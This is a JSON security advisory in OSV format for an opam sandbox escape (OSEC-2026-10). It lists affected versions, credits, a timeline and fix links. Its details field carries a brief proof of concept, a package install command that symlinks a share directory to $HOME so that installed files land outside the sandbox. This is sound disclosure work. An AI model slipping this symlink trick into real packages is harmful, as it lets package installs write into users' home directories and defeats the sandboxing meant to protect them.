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        "source": "https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-10.json"
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        "2.0.0~beta3",
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        "2.2.0~beta2",
        "2.2.0~beta3",
        "2.2.0~rc1",
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        "2.2.1",
        "2.3.0~alpha1",
        "2.3.0~beta1",
        "2.3.0~beta2",
        "2.3.0~rc1",
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        "2.4.0~rc1",
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        "2.2.0-beta2",
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        "2.2.0-alpha2",
        "2.2.0-alpha",
        "2.1.0-rc",
        "2.1.0-beta4",
        "2.1.0-beta",
        "2.1.0-alpha3",
        "2.1.0-alpha2",
        "2.1.0-alpha",
        "2.0.0-rc4",
        "2.0.0-rc3",
        "2.0.0-rc",
        "2.0.0-beta6",
        "2.0.0-beta5",
        "2.0.0-beta4",
        "2.0.0-beta3.1",
        "latest-test",
        "2.0.0-beta3",
        "2.0.0-beta2",
        "2.0.0-beta",
        "2.0-alpha5",
        "2.0-alpha4",
        "2.0-alpha",
        "1.2.1-rc2",
        "1.2.1",
        "1.2.1-rc",
        "1.2.1-beta3",
        "1.2.1-beta2",
        "1.2.1-beta",
        "1.2.0-rc4",
        "1.2.0",
        "1.2.0-rc3",
        "1.2.0-rc2",
        "1.2.0-rc1",
        "1.2.0-beta4",
        "1.2.0-beta3",
        "1.2.0-beta2",
        "1.2.0-beta",
        "1.1.0-RC",
        "1.1.0-beta",
        "1.0.0",
        "0.9.6",
        "0.9.5",
        "0.9.4",
        "0.9.3",
        "0.9.2",
        "0.9.1",
        "0.9.0",
        "0.8.1",
        "0.8.0",
        "0.7.7",
        "0.7.6",
        "0.7.5",
        "0.7.4",
        "0.7.3",
        "0.7.2",
        "0.6.0",
        "0.5.0",
        "0.4.0",
        "0.3.1",
        "0.3",
        "0.2",
        "2.5.0-rc1",
        "2.5.0-beta1"
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  ],
  "aliases": [
    "CVE-2026-57825"
  ],
  "credits": [
    {
      "name": "Kate Deplaix",
      "type": "REPORTER"
    },
    {
      "name": "Nathan Rebours",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Raja Boujbel",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-693"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-10.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-10.json"
  },
  "details": "## Summary\n\nInstalling files through `.install` files do not check symlinks resolution of the target path, and so can bypass sandboxing.\n\n## Exploit\n\nLet's imagine a `test` package whose `test.install` file looks like the following:\n```\nshare_root: [\n  \"test\" {\"blah/pwnd\"}\n]\n```\nand `test.opam` file:\n```\nopam-version: \"2.0\"\ninstall: [\"sh\" \"-c\" \"ln -s \\\"$HOME\\\" \\\"%{share}%/blah\\\"\"]\n```\n\nInstalling this package will write the `pwnd` file in the home directory of the current user, bypassing sandboxing.\n\n## Timeline\n\n- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team\n- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks\n- 2026-07-08: opam 2.5.2 was released with the fix",
  "id": "OSEC-2026-10",
  "modified": "2026-07-09T13:00:03.728089492Z",
  "published": "2026-07-07T12:00:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7005"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7006"
    }
  ],
  "schema_version": "1.7.5",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opam install sandbox escape using symlinks"
}